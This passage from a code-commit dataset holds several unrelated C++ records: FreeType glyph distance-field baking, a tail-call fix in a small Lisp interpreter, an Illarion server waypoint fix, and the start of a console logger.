FT_Load_Glyph(  holder->face, glyphInfo.glyphIndex, FT_LOAD_DEFAULT );\n\tif(error) { return false; }\n\t\n\tFT_Glyph glyph;\n\terror = FT_Get_Glyph( slot, &glyph );\n\tif ( error ) { return false; }\n\t\t\n\terror = FT_Glyph_To_Bitmap( &glyph, FT_RENDER_MODE_LCD, 0, 1 );\n\tif(error){ return false; }\n\t\n\tFT_BitmapGlyph bitmap = (FT_BitmapGlyph)glyph;\n\tint x = bitmap->left;\n\tint y = -bitmap->top;\n\tint w = bitmap->bitmap.width;\n\tint h = bitmap->bitmap.rows;\n\n\tglyphInfo.offset_x = (float) x;\n\tglyphInfo.offset_y = (float) y;\t\n\tglyphInfo.width = (float) w;\t\n\tglyphInfo.height = (float) h;\t\n\tglyphInfo.advance_x = (float)slot->advance.x \/64.0f;\n\tglyphInfo.advance_y = (float)slot->advance.y \/64.0f;\n\tint charsize = 1;\n\tint depth=3;\n\tint stride = bitmap->bitmap.pitch;\n\tfor( int i=0; i<h; ++i )\n    {\n        memcpy(outBuffer+(i*w) * charsize * depth, \n\t\t\tbitmap->bitmap.buffer + (i*stride) * charsize, w * charsize * depth  );\n    }\n\tFT_Done_Glyph(glyph);\n\treturn true;\n}\n\n\/\/TODO optimize: remove dynamic allocation and convert double to float\nvoid make_distance_map( unsigned char *img, unsigned char *outImg, unsigned int width, unsigned int height )\n{\n    short * xdist = (short *)  malloc( width * height * sizeof(short) );\n    short * ydist = (short *)  malloc( width * height * sizeof(short) );\n    double * gx   = (double *) calloc( width * height, sizeof(double) );\n    double * gy      = (double *) calloc( width * height, sizeof(double) );\n    double * data    = (double *) calloc( width * height, sizeof(double) );\n    double * outside = (double *) calloc( width * height, sizeof(double) );\n    double * inside  = (double *) calloc( width * height, sizeof(double) );\n    uint32_t i;\n\n    \/\/ Convert img into double (data)\n    double img_min = 255, img_max = -255;\n    for( i=0; i<width*height; ++i)\n    {\n        double v = img[i];\n        data[i] = v;\n        if (v > img_max) img_max = v;\n        if (v < img_min) img_min = v;\n    }\n    \/\/ Rescale image levels between 0 and 1\n    for( i=0; i<width*height; ++i)\n    {\n        data[i] = (img[i]-img_min)\/(img_max-img_min);\n    }\n\n    \/\/ Compute outside = edtaa3(bitmap); % Transform background (0's)\n    computegradient( data, width, height, gx, gy);\n    edtaa3(data, gx, gy, width, height, xdist, ydist, outside);\n    for( i=0; i<width*height; ++i)\n        if( outside[i] < 0 )\n            outside[i] = 0.0;\n\n    \/\/ Compute inside = edtaa3(1-bitmap); % Transform foreground (1's)\n    memset(gx, 0, sizeof(double)*width*height );\n    memset(gy, 0, sizeof(double)*width*height );\n    for( i=0; i<width*height; ++i)\n        data[i] = 1.0 - data[i];\n    computegradient( data, width, height, gx, gy);\n    edtaa3(data, gx, gy, width, height, xdist, ydist, inside);\n    for( i=0; i<width*height; ++i)\n        if( inside[i] < 0 )\n            inside[i] = 0.0;\n\n    \/\/ distmap = outside - inside; % Bipolar distance field\n    unsigned char *out = outImg;\/\/(unsigned char *) malloc( width * height * sizeof(unsigned char) );\n    for( i=0; i<width*height; ++i)\n    {\n\t\t\/\/out[i] = 127 - outside[i]*8;\n\t\t\/\/if(out[i]<0) out[i] = 0;\n\t\t\/\/out[i] += inside[i]*16;\n\t\t\/\/if(out[i]>255) out[i] = 255;\n\n\t\toutside[i] -= inside[i];\n        outside[i] = 128 + outside[i]*16;\n\n\t\t\/\/if(outside[i] > 8) outside[i] = 8;\n\t\t\/\/if(inside[i] > 8) outside[i] = 8;\n\n\t\t\/\/outside[i] = 128 - inside[i]*8 + outside[i]*8;\n\t\t\n        if( outside[i] < 0 ) outside[i] = 0;\n        if( outside[i] > 255 ) outside[i] = 255;\n        out[i] = 255 - (unsigned char) outside[i];\n        \/\/out[i] = (unsigned char) outside[i];\n    }\n\n    free( xdist );\n    free( ydist );\n    free( gx );\n    free( gy );\n    free( data );\n    free( outside );\n    free( inside );\n}\n\n\nbool TrueTypeFont::bakeGlyphDistance(const FontInfo& fontInfo, CodePoint_t codePoint, GlyphInfo& glyphInfo, uint8_t* outBuffer)\n{\t\n\tassert(m_font != NULL && \"TrueTypeFont not initialized\" );\n\tFTHolder* holder = (FTHolder*) m_font;\n\t\n\tglyphInfo.glyphIndex = FT_Get_Char_Index( holder->face, codePoint );\n\t\n\tFT_Int32 loadMode = FT_LOAD_DEFAULT|FT_LOAD_NO_HINTING;\n\tFT_Render_Mode renderMode = FT_RENDER_MODE_NORMAL;\n\n\tFT_GlyphSlot slot = holder->face->glyph;\n\tFT_Error error = FT_Load_Glyph(  holder->face, glyphInfo.glyphIndex, loadMode );\n\tif(error) { return false; }\n\t\n\tFT_Glyph glyph;\n\terror = FT_Get_Glyph( slot, &glyph );\n\tif ( error ) { return false; }\n\t\n\terror = FT_Glyph_To_Bitmap( &glyph, renderMode, 0, 1 );\n\tif(error){ return false; }\n\t\n\tFT_BitmapGlyph bitmap = (FT_BitmapGlyph)glyph;\n\t\n\tint x = bitmap->left;\n\tint y = -bitmap->top;\n\tint w = bitmap->bitmap.width;\n\tint h = bitmap->bitmap.rows;\n\n\tglyphInfo.offset_x = (float) x;\n\tglyphInfo.offset_y = (float) y;\t\n\tglyphInfo.width = (float) w;\t\n\tglyphInfo.height = (float) h;\t\n\tglyphInfo.advance_x = (float)slot->advance.x \/64.0f;\n\tglyphInfo.advance_y = (float)slot->advance.y \/64.0f;\n\t \n\tint charsize = 1;\n\tint depth=1;\n\tint stride = bitmap->bitmap.pitch;\n\t\n\tfor( int i=0; i<h; ++i )\n    {\t\n\n        memcpy(outBuffer+(i*w) * charsize * depth, \n\t\t\tbitmap->bitmap.buffer + (i*stride) * charsize, w * charsize * depth  );\n    }\n\tFT_Done_Glyph(glyph);\n\t\t\n\tif(w*h >0)\n\t{\n\t\tuint32_t dw = 6;\n\t\tuint32_t dh = 6;\t\n\t\tif(dw<2) dw = 2;\n\t\tif(dh<2) dh = 2;\n\t\n\t\tuint32_t nw = w + dw*2;\n\t\tuint32_t nh = h + dh*2;\n\t\tassert(nw*nh < 128*128);\n\t\tuint32_t buffSize = nw*nh*sizeof(uint8_t);\n\t\n\t\tuint8_t * alphaImg = (uint8_t *)  malloc( buffSize );\n\t\tmemset(alphaImg, 0, nw*nh*sizeof(uint8_t));\n\n\t\t\/\/copy the original buffer to the temp one\n\t\tfor(uint32_t  i= dh; i< nh-dh; ++i)\n\t\t{\n\t\t\tmemcpy(alphaImg+i*nw+dw, outBuffer+(i-dh)*w, w);\n\t\t}\n\t\n\t\tmake_distance_map(alphaImg, outBuffer, nw, nh);\n\t\tfree(alphaImg);\t\n\t\t\n\t\tglyphInfo.offset_x -= (float) dw;\n\t\tglyphInfo.offset_y -= (float) dh;\n\t\tglyphInfo.width = (float) nw ;\n\t\tglyphInfo.height = (float) nh;\n\t}\n\t\n\treturn true;\t\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"slist_eval.h\"\n#include \"slist_parser.h\"\n#include \"slist_log.h\"\n\n#include <istream>\n\nnamespace\n{\n    slist::node_ptr eval_list(slist::context& ctx, const slist::node_ptr& root);\n    slist::node_ptr eval_name(slist::context& ctx, const slist::node_ptr& root);\n}\n\nnamespace slist\n{\n    node_ptr eval(context& ctx, const node_ptr& root)\n    {\n        ctx.debug_dump_callstack();\n        log_traceln(\"Eval: \", root);\n\n        if (root == nullptr)\n        {\n            return nullptr;\n        }\n        \n        node_ptr result;\n\n        switch (root->type)\n        {\n            case node_type::empty:\n                result = root;\n                break;\n            case node_type::pair:\n                result = eval_list(ctx, root);\n                break;\n            case node_type::name:\n                result = eval_name(ctx, root);\n                break;\n            case node_type::boolean:\n            case node_type::integer:\n            case node_type::number:\n            case node_type::string:\n                result = root;\n            default:\n                break;\n        }\n\n        log_trace(\"Result of \", root);\n        log_traceln(\" -> \", result);\n        debug_print_environment(ctx, ctx.active_env);\n\n        return result;\n    }\n\n    node_ptr eval_procedure(context& ctx, const node_ptr& proc_node, const node_ptr& args)\n    {\n        if (proc_node == nullptr)\n        {\n            return nullptr;\n        }\n\n        auto proc = proc_node->proc;\n\n        if (proc == nullptr)\n        {\n            return nullptr;\n        }\n\n        context::callstack_item item;\n        item.node = proc_node;\n        \n        ctx.callstack.push_back(item);        \n        \n        struct auto_pop_callstack\n        {\n            auto_pop_callstack(context& ctx) : ctx(ctx) {}\n            ~auto_pop_callstack() { ctx.callstack.pop_back(); }\n            \n            context& ctx;\n        } auto_stack_popper(ctx);\n        \n        if (proc->is_native)\n        {\n            \/\/ Build a root node\n            node_ptr name_node(std::make_shared<node>());\n            name_node->type = node_type::name;\n            name_node->value = proc->name;\n\n            node_ptr root(std::make_shared<node>());\n            root->type = node_type::pair;\n            root->car = name_node;\n            root->cdr = args;\n\n            auto prev_env = ctx.active_env; \n            ctx.active_env = proc->env;\n            auto result = proc->native_func(ctx, root);\n            ctx.active_env = prev_env;\n\n            return result;\n        }\n        else \n        {\n            node_ptr result;\n\n            while (proc != nullptr)\n            {\n                if (proc->is_tail)\n                {\n                    ctx.debug_dump_callstack();\n\n                    log_traceln(\"Trying to unwind the stack:\\n\", proc->body);\n                    \n                    \/\/ Try to unwind the call stack: tail-call elimination\n                    int size = static_cast<int>(ctx.callstack.size());\n                    int i = size-1;\n                    while (i > 0)\n                    {\n                        \/\/auto& item = ctx.callstack[i];\n                        auto& prev_item = ctx.callstack[i-1];\n                        log_traceln(\"    Prev: \", prev_item.node);\n                        if (prev_item.node->is_tail)\n                        {\n                            if (prev_item.node->proc == proc)\n                            {\n                                prev_item.delayed_proc = proc;\n                                prev_item.delayed_args = args;\n                                return nullptr;\n                            }\n                            --i;\n                        }\n                        else\n                        {\n                            break;\n                        }\n                    }\n                }\n                \n                log_traceln(\"Executing procedure:\\n\", proc->body);\n\n                auto prev_env = ctx.active_env;\n                ctx.active_env = proc->env;\n                result = eval(ctx, proc->body);\n                ctx.active_env = prev_env;\n\n                auto& back_item = ctx.callstack.back();\n                proc = back_item.delayed_proc;\n\n                if (proc != nullptr)\n                {\n                    context::callstack_item item;\n                    item.node = proc_node;\n                    ctx.callstack.pop_back();\n                    ctx.callstack.push_back(item);\n                    log_traceln(\"STACK OPTIM!!\");\n                    \/\/ TODO: Merge environments??\n                }\n            }\n\n            return result;\n        }\n    }\n\n    node_ptr exec(context& ctx, const std::string& str)\n    {\n        node_ptr result;\n        node_ptr parse_node = parse(str);\n        if (parse_node != nullptr)\n        {\n            while (parse_node != nullptr)\n            {\n                result = eval(ctx, parse_node->car);\n                parse_node = parse_node->cdr;\n            }\n        }\n        return result;\n    }\n\n    node_ptr exec(context& ctx, std::istream& in)\n    {\n        std::string s;\n\n        const size_t size = 1024;\n        char buffer[1024];\n        while (in.read(buffer, size))\n        {\n            s.append(buffer, size);\n        }\n        s.append(buffer, in.gcount());\n\n        return exec(ctx, s);\n    }\n\n    node_ptr apply(context& ctx, const node_ptr& args, const node_ptr& proc_node)\n    {\n        auto& proc = proc_node->proc;\n\n        \/\/ Create a new environement to make sure they are not shared between evals\n        environment_ptr env(std::make_shared<environment>());\n        env->parent = proc->env;\n        proc->env = env;\n\n        node_ptr var = proc->variables;\n        node_ptr arg = args;\n\n        if (var != nullptr && var->type == node_type::name)\n        {\n            \/\/ This is a variadic argument, grab all the args\n            env->register_variable(var->value, args);\n        }\n        else \n        {\n            while (var != nullptr && arg != nullptr)\n            {\n                node_ptr var_name = var->car;\n                if (var_name == nullptr || var_name->type != node_type::name)\n                {\n                    log_errorln(\"Invalid variable:\\n\", var_name);\n                    return nullptr;\n                }\n\n                if (var_name->value == \".\")\n                {\n                    \/\/ The next argument is a variadic one\n                    var = var->cdr;\n                    if (var == nullptr)\n                    {\n                        log_errorln(\"Missing variadic argument after '.'\");\n                        return nullptr;\n                    }\n\n                    var_name = var->car;\n                    if (var_name == nullptr || var_name->type != node_type::name)\n                    {\n                        log_errorln(\"Invalid variable:\\n\", var_name);\n                        return nullptr;\n                    }\n\n                    if (proc->is_macro)\n                    {\n                        \/\/ Do not evaluate macro arguments\n                        env->register_variable(var_name->value, arg);\n                    }\n                    else \n                    {\n                        node_ptr list_arg(std::make_shared<node>());\n                        list_arg->type = node_type::pair;\n                        while (arg)\n                        {\n                            list_arg->append(eval(ctx, arg->car));\n                            arg = arg->cdr;\n                        }\n\n                        env->register_variable(var_name->value, list_arg);\n                    }\n                    break;\n                }\n\n                if (proc->is_macro)\n                {\n                    \/\/ Do not evaluate macro arguments\n                    env->register_variable(var_name->value, arg->car);\n                }\n                else \n                {\n                    env->register_variable(var_name->value, eval(ctx, arg->car));                   \n                }\n\n                arg = arg->cdr;\n                var = var->cdr;\n            }\n        }\n\n        \/\/ log_traceln(\"Evaluating Procedure from 'apply':\\n\", nullptr, proc);\n\n        if (proc->is_macro)\n        {\n            \/\/ log_traceln(\"Macro root: \", nullptr, proc);\n            node_ptr res = eval_procedure(ctx, proc_node, args);\n            \/\/ log_traceln(\"Macro res: \", res);\n            return eval(ctx, res);\n        }\n        else \n        {\n            return eval_procedure(ctx, proc_node, args); \n        }\n    }\n}\n\nnamespace\n{\n    slist::node_ptr eval_list(slist::context& ctx, const slist::node_ptr& root)\n    {\n        using namespace slist;\n\n        if (root->length() == 0)\n        {\n            log_errorln(\"List is empty\", root);\n            return nullptr;\n        }\n\n        node_ptr op_node = root->get(0);\n        if (op_node == nullptr)\n        {\n            log_errorln(\"Cannot evaluate empty list.\");\n            return nullptr;\n        }\n\n        node_ptr proc_node = op_node;\n        procedure_ptr proc = proc_node->proc;\n\n        if (proc == nullptr && op_node->type == node_type::pair)\n        {\n            node_ptr eval_node = eval(ctx, op_node);\n            if (eval_node == nullptr || eval_node->proc == nullptr)\n            {\n                log_errorln(\"Error: first argument is not a procedure\", root);\n                return nullptr;\n            }\n            proc_node = eval_node;\n            proc = eval_node->proc;\n        }\n        else\n        {\n            \/\/ Look in environment\n            node_ptr val = ctx.active_env->lookup_variable(op_node->value);\n            if (val != nullptr && val->proc != nullptr)\n            {\n                proc_node = val;\n                proc = val->proc;\n                if (proc != nullptr && proc->is_native)\n                {\n                    return proc->native_func(ctx, root);\n                }\n            }\n        }\n\n        if (proc != nullptr)\n        {\n            return apply(ctx, root->cdr, proc_node);\n        }\n\n        log_errorln(\"Operator is not a procedure: \", op_node);\n\n        return nullptr;\n    }\n\n    slist::node_ptr eval_name(slist::context& ctx, const slist::node_ptr& root)\n    {\n        using namespace slist;\n        auto var_node = ctx.active_env->lookup_variable(root->value);\n        if (var_node == nullptr)\n        {\n            log_errorln(\"Could not evaluate variable: \", root);\n            return nullptr;\n        }\n        return var_node;\n    }\n}<commit_msg>Fixed environment merge for tail call optim.<commit_after>#include \"slist_eval.h\"\n#include \"slist_parser.h\"\n#include \"slist_log.h\"\n\n#include <istream>\n\nnamespace\n{\n    slist::node_ptr eval_list(slist::context& ctx, const slist::node_ptr& root);\n    slist::node_ptr eval_name(slist::context& ctx, const slist::node_ptr& root);\n}\n\nnamespace slist\n{\n    node_ptr eval(context& ctx, const node_ptr& root)\n    {\n        ctx.debug_dump_callstack();\n        log_traceln(\"Eval: \", root);\n\n        if (root == nullptr)\n        {\n            return nullptr;\n        }\n        \n        node_ptr result;\n\n        switch (root->type)\n        {\n            case node_type::empty:\n                result = root;\n                break;\n            case node_type::pair:\n                result = eval_list(ctx, root);\n                break;\n            case node_type::name:\n                result = eval_name(ctx, root);\n                break;\n            case node_type::boolean:\n            case node_type::integer:\n            case node_type::number:\n            case node_type::string:\n                result = root;\n            default:\n                break;\n        }\n\n        log_trace(\"Result of \", root);\n        log_traceln(\" -> \", result);\n        debug_print_environment(ctx, ctx.active_env);\n\n        return result;\n    }\n\n    node_ptr eval_procedure(context& ctx, const node_ptr& proc_node, const node_ptr& args)\n    {\n        if (proc_node == nullptr)\n        {\n            return nullptr;\n        }\n\n        auto proc = proc_node->proc;\n\n        if (proc == nullptr)\n        {\n            return nullptr;\n        }\n\n        context::callstack_item item;\n        item.node = proc_node;\n        \n        ctx.callstack.push_back(item);        \n        \n        struct auto_pop_callstack\n        {\n            auto_pop_callstack(context& ctx) : ctx(ctx) {}\n            ~auto_pop_callstack() { ctx.callstack.pop_back(); }\n            \n            context& ctx;\n        } auto_stack_popper(ctx);\n        \n        if (proc->is_native)\n        {\n            \/\/ Build a root node\n            node_ptr name_node(std::make_shared<node>());\n            name_node->type = node_type::name;\n            name_node->value = proc->name;\n\n            node_ptr root(std::make_shared<node>());\n            root->type = node_type::pair;\n            root->car = name_node;\n            root->cdr = args;\n\n            auto prev_env = ctx.active_env; \n            ctx.active_env = proc->env;\n            auto result = proc->native_func(ctx, root);\n            ctx.active_env = prev_env;\n\n            return result;\n        }\n        else \n        {\n            node_ptr result;\n\n            while (proc != nullptr)\n            {\n                if (proc->is_tail)\n                {\n                    ctx.debug_dump_callstack();\n\n                    log_traceln(\"Trying to unwind the stack:\\n\", proc->body);\n                    \n                    \/\/ Try to unwind the call stack: tail-call elimination\n                    int size = static_cast<int>(ctx.callstack.size());\n                    int i = size-1;\n                    while (i > 0)\n                    {\n                        \/\/auto& item = ctx.callstack[i];\n                        auto& prev_item = ctx.callstack[i-1];\n                        log_traceln(\"    Prev: \", prev_item.node);\n                        if (prev_item.node->is_tail)\n                        {\n                            if (prev_item.node->proc == proc)\n                            {\n                                prev_item.delayed_proc = proc;\n                                prev_item.delayed_args = args;\n                                return nullptr;\n                            }\n                            --i;\n                        }\n                        else\n                        {\n                            break;\n                        }\n                    }\n                }\n                \n                log_traceln(\"Executing procedure:\\n\", proc->body);\n\n                auto prev_env = ctx.active_env;\n                ctx.active_env = proc->env;\n                result = eval(ctx, proc->body);\n                ctx.active_env = prev_env;\n\n                auto prev_proc = proc;\n                \n                auto& back_item = ctx.callstack.back();\n                proc = back_item.delayed_proc;\n\n                if (proc != nullptr)\n                {\n                    context::callstack_item item;\n                    item.node = proc_node;\n                    ctx.callstack.pop_back();\n                    ctx.callstack.push_back(item);\n\n                    proc->env->parent = prev_env;\n                    \n\/\/                    \/\/ TODO: Merge environments??\n\/\/                    log_traceln(\"Prev proc env:\");\n\/\/                    debug_print_environment(ctx, prev_env);\n\/\/\n\/\/                    log_traceln(\"Proc env:\");\n\/\/                    debug_print_environment(ctx, proc->env);\n                    \n                    log_traceln(\"STACK OPTIM!!\");\n                }\n            }\n\n            return result;\n        }\n    }\n\n    node_ptr exec(context& ctx, const std::string& str)\n    {\n        node_ptr result;\n        node_ptr parse_node = parse(str);\n        if (parse_node != nullptr)\n        {\n            while (parse_node != nullptr)\n            {\n                result = eval(ctx, parse_node->car);\n                parse_node = parse_node->cdr;\n            }\n        }\n        return result;\n    }\n\n    node_ptr exec(context& ctx, std::istream& in)\n    {\n        std::string s;\n\n        const size_t size = 1024;\n        char buffer[1024];\n        while (in.read(buffer, size))\n        {\n            s.append(buffer, size);\n        }\n        s.append(buffer, in.gcount());\n\n        return exec(ctx, s);\n    }\n\n    node_ptr apply(context& ctx, const node_ptr& args, const node_ptr& proc_node)\n    {\n        auto& proc = proc_node->proc;\n\n        \/\/ Create a new environement to make sure they are not shared between evals\n        environment_ptr env(std::make_shared<environment>());\n        env->parent = proc->env;\n        proc->env = env;\n\n        node_ptr var = proc->variables;\n        node_ptr arg = args;\n\n        if (var != nullptr && var->type == node_type::name)\n        {\n            \/\/ This is a variadic argument, grab all the args\n            env->register_variable(var->value, args);\n        }\n        else \n        {\n            while (var != nullptr && arg != nullptr)\n            {\n                node_ptr var_name = var->car;\n                if (var_name == nullptr || var_name->type != node_type::name)\n                {\n                    log_errorln(\"Invalid variable:\\n\", var_name);\n                    return nullptr;\n                }\n\n                if (var_name->value == \".\")\n                {\n                    \/\/ The next argument is a variadic one\n                    var = var->cdr;\n                    if (var == nullptr)\n                    {\n                        log_errorln(\"Missing variadic argument after '.'\");\n                        return nullptr;\n                    }\n\n                    var_name = var->car;\n                    if (var_name == nullptr || var_name->type != node_type::name)\n                    {\n                        log_errorln(\"Invalid variable:\\n\", var_name);\n                        return nullptr;\n                    }\n\n                    if (proc->is_macro)\n                    {\n                        \/\/ Do not evaluate macro arguments\n                        env->register_variable(var_name->value, arg);\n                    }\n                    else \n                    {\n                        node_ptr list_arg(std::make_shared<node>());\n                        list_arg->type = node_type::pair;\n                        while (arg)\n                        {\n                            list_arg->append(eval(ctx, arg->car));\n                            arg = arg->cdr;\n                        }\n\n                        env->register_variable(var_name->value, list_arg);\n                    }\n                    break;\n                }\n\n                if (proc->is_macro)\n                {\n                    \/\/ Do not evaluate macro arguments\n                    env->register_variable(var_name->value, arg->car);\n                }\n                else \n                {\n                    env->register_variable(var_name->value, eval(ctx, arg->car));                   \n                }\n\n                arg = arg->cdr;\n                var = var->cdr;\n            }\n        }\n\n        \/\/ log_traceln(\"Evaluating Procedure from 'apply':\\n\", nullptr, proc);\n\n        if (proc->is_macro)\n        {\n            \/\/ log_traceln(\"Macro root: \", nullptr, proc);\n            node_ptr res = eval_procedure(ctx, proc_node, args);\n            \/\/ log_traceln(\"Macro res: \", res);\n            return eval(ctx, res);\n        }\n        else \n        {\n            return eval_procedure(ctx, proc_node, args); \n        }\n    }\n}\n\nnamespace\n{\n    slist::node_ptr eval_list(slist::context& ctx, const slist::node_ptr& root)\n    {\n        using namespace slist;\n\n        if (root->length() == 0)\n        {\n            log_errorln(\"List is empty\", root);\n            return nullptr;\n        }\n\n        node_ptr op_node = root->get(0);\n        if (op_node == nullptr)\n        {\n            log_errorln(\"Cannot evaluate empty list.\");\n            return nullptr;\n        }\n\n        node_ptr proc_node = op_node;\n        procedure_ptr proc = proc_node->proc;\n\n        if (proc == nullptr && op_node->type == node_type::pair)\n        {\n            node_ptr eval_node = eval(ctx, op_node);\n            if (eval_node == nullptr || eval_node->proc == nullptr)\n            {\n                log_errorln(\"Error: first argument is not a procedure\", root);\n                return nullptr;\n            }\n            proc_node = eval_node;\n            proc = eval_node->proc;\n        }\n        else\n        {\n            \/\/ Look in environment\n            node_ptr val = ctx.active_env->lookup_variable(op_node->value);\n            if (val != nullptr && val->proc != nullptr)\n            {\n                proc_node = val;\n                proc = val->proc;\n                if (proc != nullptr && proc->is_native)\n                {\n                    return proc->native_func(ctx, root);\n                }\n            }\n        }\n\n        if (proc != nullptr)\n        {\n            return apply(ctx, root->cdr, proc_node);\n        }\n\n        log_errorln(\"Operator is not a procedure: \", op_node);\n\n        return nullptr;\n    }\n\n    slist::node_ptr eval_name(slist::context& ctx, const slist::node_ptr& root)\n    {\n        using namespace slist;\n        auto var_node = ctx.active_env->lookup_variable(root->value);\n        if (var_node == nullptr)\n        {\n            log_errorln(\"Could not evaluate variable: \", root);\n            return nullptr;\n        }\n        return var_node;\n    }\n}<|endoftext|>"}
{"text":"<commit_before>\/\/  illarionserver - server for the game Illarion\n\/\/  Copyright 2011 Illarion e.V.\n\/\/\n\/\/  This file is part of illarionserver.\n\/\/\n\/\/  illarionserver is free software: you can redistribute it and\/or modify\n\/\/  it under the terms of the GNU Affero General Public License as published by\n\/\/  the Free Software Foundation, either version 3 of the License, or\n\/\/  (at your option) any later version.\n\/\/\n\/\/  illarionserver is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/  GNU Affero General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Affero General Public License\n\/\/  along with illarionserver.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n\n#include \"WaypointList.hpp\"\n#include \"World.hpp\"\n#include \"Field.hpp\"\n#include \"Logger.hpp\"\n\nWaypointList::WaypointList(Character *movechar) : _movechar(movechar) {\n\n}\n\nconst std::list<position> &WaypointList::getWaypoints() const {\n    return positions;\n}\n\nvoid WaypointList::addWaypoint(const position &pos) {\n    positions.push_back(pos);\n}\n\nbool WaypointList::getNextWaypoint(position &pos) const {\n    if (positions.empty()) {\n        return false;\n    }\n\n    pos = positions.front();\n    return true;\n}\n\nvoid WaypointList::clear() {\n    positions.clear();\n}\n\nbool WaypointList::checkPosition() {\n    if (positions.empty()) {\n        return false;\n    }\n\n    if (_movechar->getPosition() == positions.front()) {\n        positions.pop_front();\n    }\n\n    return true;\n}\n\nbool WaypointList::recalcStepList() {\n    if (!checkPosition()) {\n        return false;\n    }\n\n    steplist.clear();\n    _movechar->getStepList(positions.front(), steplist);\n    return (!steplist.empty());\n}\n\nbool WaypointList::makeMove() {\n    if (steplist.empty()) {\n        if (!recalcStepList()) {\n            return false;\n        }\n    }\n\n    if (!_movechar->move(steplist.front())) {\n        return recalcStepList();\n    }\n\n    steplist.pop_front();\n    return true;\n}\n<commit_msg>Calc steps only if waypoint exists<commit_after>\/\/  illarionserver - server for the game Illarion\n\/\/  Copyright 2011 Illarion e.V.\n\/\/\n\/\/  This file is part of illarionserver.\n\/\/\n\/\/  illarionserver is free software: you can redistribute it and\/or modify\n\/\/  it under the terms of the GNU Affero General Public License as published by\n\/\/  the Free Software Foundation, either version 3 of the License, or\n\/\/  (at your option) any later version.\n\/\/\n\/\/  illarionserver is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/  GNU Affero General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Affero General Public License\n\/\/  along with illarionserver.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n\n#include \"WaypointList.hpp\"\n#include \"World.hpp\"\n#include \"Field.hpp\"\n#include \"Logger.hpp\"\n\nWaypointList::WaypointList(Character *movechar) : _movechar(movechar) {\n\n}\n\nconst std::list<position> &WaypointList::getWaypoints() const {\n    return positions;\n}\n\nvoid WaypointList::addWaypoint(const position &pos) {\n    positions.push_back(pos);\n}\n\nbool WaypointList::getNextWaypoint(position &pos) const {\n    if (positions.empty()) {\n        return false;\n    }\n\n    pos = positions.front();\n    return true;\n}\n\nvoid WaypointList::clear() {\n    positions.clear();\n}\n\nbool WaypointList::checkPosition() {\n    if (positions.empty()) {\n        return false;\n    }\n\n    if (_movechar->getPosition() == positions.front()) {\n        positions.pop_front();\n    }\n\n    return true;\n}\n\nbool WaypointList::recalcStepList() {\n    if (!checkPosition()) {\n        return false;\n    }\n\n    if (positions.empty()) {\n        return false;\n    }\n\n    steplist.clear();\n    _movechar->getStepList(positions.front(), steplist);\n    return (!steplist.empty());\n}\n\nbool WaypointList::makeMove() {\n    if (steplist.empty()) {\n        if (!recalcStepList()) {\n            return false;\n        }\n    }\n\n    if (!_movechar->move(steplist.front())) {\n        return recalcStepList();\n    }\n\n    steplist.pop_front();\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright (C) 2016 INRA\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include \"lpformat-consistency.hpp\"\n#include \"lpformat-io.hpp\"\n#include \"mitm.hpp\"\n\n#include <algorithm>\n#include <fstream>\n#include <lpcore>\n\n#ifdef __unix__\n#include <unistd.h>\n#endif\n\nnamespace lp {\n\nclass standard_stream_logger : public context::logger\n{\npublic:\n    void write(int priority,\n               const char* file,\n               int line,\n               const char* fn,\n               const char* format,\n               va_list args) noexcept override\n    {\n        if (priority > 5)\n            vfprintf(stdout, format, args);\n        else {\n            fprintf(stderr,\n                    \"lp: %d at %d in function '%s' from file %s: \",\n                    priority,\n                    line,\n                    fn,\n                    file);\n            vfprintf(stderr, format, args);\n        }\n    }\n\n    void write(lp::context::message_type m,\n               const char* format,\n               va_list args) noexcept override\n    {\n#ifdef __unix__\n        if (::isatty(STDOUT_FILENO)) {\n            switch (m) {\n            case context::message_type::emerg:\n            case context::message_type::alert:\n            case context::message_type::crit:\n            case context::message_type::err:\n                ::puts(\"\\033[30m\\033[2m\");\n                break;\n            case context::message_type::warning:\n                ::puts(\"\\033[32m\\033[1m\");\n                break;\n            case context::message_type::notice:\n                break;\n            case context::message_type::info:\n                break;\n            case context::message_type::debug:\n                ::puts(\"\\033[33m\\033[1m\");\n                break;\n            }\n\n            vfprintf(stdout, format, args);\n\n            switch (m) {\n            case context::message_type::emerg:\n            case context::message_type::alert:\n            case context::message_type::crit:\n            case context::message_type::err:\n                ::puts(\"\\033[30m\\033[0m\");\n                break;\n            case context::message_type::warning:\n                ::puts(\"\\033[30m\\033[0m\");\n                break;\n            case context::message_type::notice:\n                break;\n            case context::message_type::info:\n                break;\n            case context::message_type::debug:\n                ::puts(\"\\033[30m\\033[0m\");\n                break;\n            }\n\n        } else {\n            vfprintf(stdout, format, args);\n        }\n#else\n        vfprintf(stdout, format, args);\n#endif\n    }\n};\n\nvoid\ncontext::set_log_priority(int priority) noexcept\n{\n    